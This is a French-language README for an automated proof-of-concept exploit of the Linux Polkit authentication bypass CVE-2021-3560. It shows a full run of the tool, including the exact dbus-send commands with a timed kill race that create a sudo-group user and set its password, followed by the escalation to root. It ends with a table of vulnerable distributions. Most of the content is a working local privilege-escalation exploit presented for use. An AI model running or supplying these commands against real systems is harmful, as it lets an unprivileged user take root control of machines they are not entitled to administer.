
PoC d'exploitation automatique pour Polkit CVE-2021-3560
Preuve de concept d'exploitation automatique pour Polkit CVE-2021-3560
CVE-2021-3560 est un contournement d'authentification sur polkit, qui permet à un utilisateur non privilégié d'appeler des méthodes privilégiées via DBus. Dans cette exploitation, nous allons appeler 2 méthodes privilégiées fournies par accountsservice (CreateUser et SetPassword), ce qui permet de créer un utilisateur privilégié, de lui attribuer un mot de passe, puis de se connecter en tant que cet utilisateur et enfin d'élever les privilèges vers root. https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
ubuntu@ubuntu2004:~/polkit-auto-exploit$ ./polkit-auto-exploit -u adminhs -p admin1 -f admin
[===] Auto Exploitation PoC for Polkit CVE-2021-3560 by Petruknisme [===]
[+] Current User: ubuntu
[+] Variable for Polkit Configuration
[*] Username : adminhs
[*] Password : admin1
[*] Fullname : admin
[+] Sending create user command to determine time execution
[*] Execution time: 0.018076ms
[+] Time to killing dbus-send setting to 0.009038ms
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:adminhs string:'admin' int32:1 & sleep 0.009038s ; kill $!
..................
[+] GOTCHAAA! User adminhs is created with sudo member group
[+] Getting UID from user: 1015
[+] Creating password with OpenSSL
$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0
[+] Triggering polkit to create password for adminhs
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1015 org.freedesktop.Accounts.User.SetPassword string:'$5$wwCpZi2.onsiKa6b$B/OovlhfvFWs65EdYnk/1sL.sYSzfPXd1s6ZpurHNr0' string:admin & sleep 0.009038s ; kill $!
Failed to execute command: echo admin1 | su -c id adminhs
uid=1015(adminhs) gid=1015(adminhs) groups=1015(adminhs),27(sudo)
[+] GOTCHAAA! Success login with User adminhs & password: admin1
[+] You can login to root using su with user and password created before: su -c 'sudo su' adminhs
Tout système disposant de polkit version 0.113 (ou ultérieure) est vulnérable. Cela inclut les distributions populaires telles que RHEL 8 avec polkit version 0.115 et Ubuntu 20.04 avec polkit version 0-105-26 (fork Debian de polkit).
Licence MIT
| Distribution | Vulnérable ? |
|---|---|
| RHEL 7 | Non |
| RHEL 8 | Oui |
| Fedora 20 (ou antérieur) | Non |
| Fedora 21 (ou ultérieur) | Oui |
| Debian 10 (“buster”) | Non |
| Debian testing (“bullseye”) | Oui |
| Ubuntu 18.04 | Non |
| Ubuntu 20.04 | Oui |